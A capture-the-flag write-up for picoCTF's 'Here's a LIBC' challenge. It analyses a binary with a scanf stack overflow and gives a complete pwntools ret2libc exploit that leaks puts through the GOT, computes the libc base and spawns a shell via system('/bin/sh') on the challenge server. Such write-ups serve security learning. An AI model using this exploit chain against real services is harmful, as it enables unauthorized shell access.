Here's a LIBC

  • Given 3 files : vuln , libc.so.6 , Makefile

Environment set up

  • Use pwninit to set up the enviroment. We got ld-2.27.so .

  • Patch vuln with ld-2.27.so .

Analyze vuln

  • file :

    1
    2
    3
    4
    ELF 64-bit LSB executable
    dynamically linked
    interpreter ./ld-2.27.so
    not stripped

  • checksec :

    1
    2
    3
    4
    5
    6
    Arch:     amd64-64-little
    RELRO: Partial RELRO
    Stack: No canary found
    NX: NX enabled
    PIE: No PIE (0x400000)
    RUNPATH: b'./'

  • A loop in main :

    1
    2
    3
    4
    5
    00400896 b8 00      MOV     EAX,0x0
    00 00 00
    0040089b e8 38 CALL do_stuff
    fe ff ff
    004008a0 eb f4 JMP LAB_00400896

  • do_stuff ( overflow found ) :

    1
    __isoc99_scanf("%[^\n]",local_88);

My Thoughts

  • We have overflow and libc. Write ROP to leak libc address.

    • We can use puts because this function is called before the overflow. ( maybe like : .got.plt --> .plt --> puts address in libc )

    • Leak puts ( use address in .got.plt ) using puts ( jump to address in .plt ) .

  • Calculate libc base.

  • Return to main to write another ROP to get shell.

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from pwn import *

vuln_elf = ELF("./vuln")
libc = ELF("./libc.so.6")
vuln_rop = ROP(vuln_elf)

# target = process('./vuln')
target = remote("mercury.picoctf.net", 37289)

input("HANG here (press enter to continue...) > ")

padding_str = b"A" * 136

pop_rdi_addr = p64(vuln_rop.find_gadget(["pop rdi", "ret"])[0])
puts_got_addr = p64(vuln_elf.got.puts)
puts_plt_addr = p64(vuln_elf.plt.puts)
main_addr = p64(vuln_elf.symbols.main)

# print puts's address
# them jump to main to get the chance to overflow again
payload = b""
payload += padding_str
payload += pop_rdi_addr
payload += puts_got_addr
payload += puts_plt_addr
payload += main_addr
payload += b"\n"

target.sendafter(b"sErVeR!\n", payload)

print(target.recvline())
# While printing, puts may stop at null?
# Maybe try several times until we leak the complete address.
puts_addr_leak = u64(target.recvuntil(b"\n")[-8:].strip().ljust(8, b"\x00"))
print("[puts addr leak] ==> " + hex(puts_addr_leak))

# get libc base
libc_base = puts_addr_leak - libc.symbols.puts
print("[libc base] ==> " + hex(libc_base))
libc.address = libc_base

# search returns a generator
# we can use next()
bin_sh_addr = p64(next(libc.search(b"/bin/sh")))
system_addr = p64(libc.symbols.system)
ret_addr = p64(vuln_rop.find_gadget(["ret"])[0])

payload2 = b""
payload2 += padding_str
payload2 += pop_rdi_addr
payload2 += bin_sh_addr
# align stack?
payload2 += ret_addr
payload2 += system_addr
payload2 += b"\n"

target.sendafter(b"sErVeR!\n", payload2)

target.interactive()